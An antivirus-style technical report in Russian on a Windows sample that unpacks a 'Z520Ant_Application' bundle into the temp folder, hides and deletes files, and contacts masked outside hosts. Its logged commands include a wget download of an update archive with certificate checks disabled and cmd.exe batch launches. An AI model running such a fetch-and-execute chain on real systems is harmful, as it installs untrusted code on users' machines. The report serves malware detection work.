Техническая информация
Вредоносные функции:
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\cmd.exe
Изменения в файловой системе:
Создает следующие файлы:
- %TEMP%\~~3721577632144107893.tmp
- %TEMP%\Z520Ant_ApplicationV4\Z520Ant_Application.exe
- %TEMP%\Z520Ant_ApplicationV4\wget.exe
- %TEMP%\Z520Ant_ApplicationV4\unzip.exe
- %TEMP%\Z520Ant_ApplicationV4\LibPrivoxy.dll
- %TEMP%\Z520Ant_ApplicationV4\libintl3.dll
- %TEMP%\Z520Ant_ApplicationV4\libiconv2.dll
- %TEMP%\Z520Ant_ApplicationV4\version.txt
- %TEMP%\Z520Ant_ApplicationV4\updateant402.zip
- %TEMP%\Z520Ant_ApplicationV4\skins\default\res.ini
- %TEMP%\Z520Ant_ApplicationV4\skins\default\res (DESKTOP-JC0QD12 的冲突副本 2017-04-01).ini
- %TEMP%\Z520Ant_ApplicationV4\skins\default\left-right-border.bmp
- %TEMP%\Z520Ant_ApplicationV4\Z520Ant_ApplicationV4.exe
- %TEMP%\Z520Ant_ApplicationV4\skins\default\dialog-title.bmp
- %TEMP%\Z520Ant_ApplicationV4\skins\default\checkbox.bmp
- %TEMP%\Z520Ant_ApplicationV4\skins\default\button.bmp
- %TEMP%\Z520Ant_ApplicationV4\skins\default\bottom-border.bmp
- %TEMP%\Z520Ant_ApplicationV4\lang\zh_CN\LC_MESSAGES\sscap.mo
- %TEMP%\Z520Ant_ApplicationV4\config\pac.txt
- %TEMP%\Z520Ant_ApplicationV4\config\gui-config.json
- %TEMP%\Z520Ant_ApplicationV4\config\agent.dat
- %TEMP%\Z520Ant_ApplicationV4\AntAppStart.bat
- %TEMP%\Z520Ant_ApplicationV4\A520ant.ico
- %TEMP%\~3431206779594210244~\sg.tmp
- %TEMP%\~661519818787636494.tmp
- %TEMP%\Z520Ant_ApplicationV4\skins\default\dialog-sysbutton.bmp
- %HOMEPATH%\Local Settings\<INETFILES>\Content.IE5\KHMHGZ4F\sscaplogin[1].html
Присваивает атрибут 'скрытый' для следующих файлов:
- %TEMP%\~661519818787636494.tmp
Удаляет следующие файлы:
- %TEMP%\~~3721577632144107893.tmp
- %TEMP%\~3431206779594210244~\sg.tmp
- %TEMP%\~661519818787636494.tmp
Сетевая активность:
Подключается к:
- 'localhost':1037
- '7x####.##m1.z0.glb.clouddn.com':80
- 'ad.##tion.com':80
TCP:
Запросы HTTP GET:
- http://ad.##tion.com/sscaplogin.html
UDP:
- DNS ASK 7x####.##m1.z0.glb.clouddn.com
- DNS ASK ad.##tion.com
Другое:
Ищет следующие окна:
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebcheckMonitor' WindowName: ''
Создает и запускает на исполнение:
- '%TEMP%\~3431206779594210244~\sg.tmp' x "%TEMP%\~661519818787636494.tmp" -y -aos -o"%TEMP%\Z520Ant_ApplicationV4"
- '%TEMP%\Z520Ant_ApplicationV4\Z520Ant_ApplicationV4.exe'
- '%TEMP%\Z520Ant_ApplicationV4\Z520Ant_Application.exe'
- '%TEMP%\Z520Ant_ApplicationV4\wget.exe' --no-check-certificate -N -t 2 --timeout=2 http://7x####.##m1.z0.glb.clouddn.com/updateant402.zip
Запускает на исполнение:
- '<SYSTEM32>\cmd.exe' /c set
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\Z520Ant_ApplicationV4\AntAppStart.bat" "
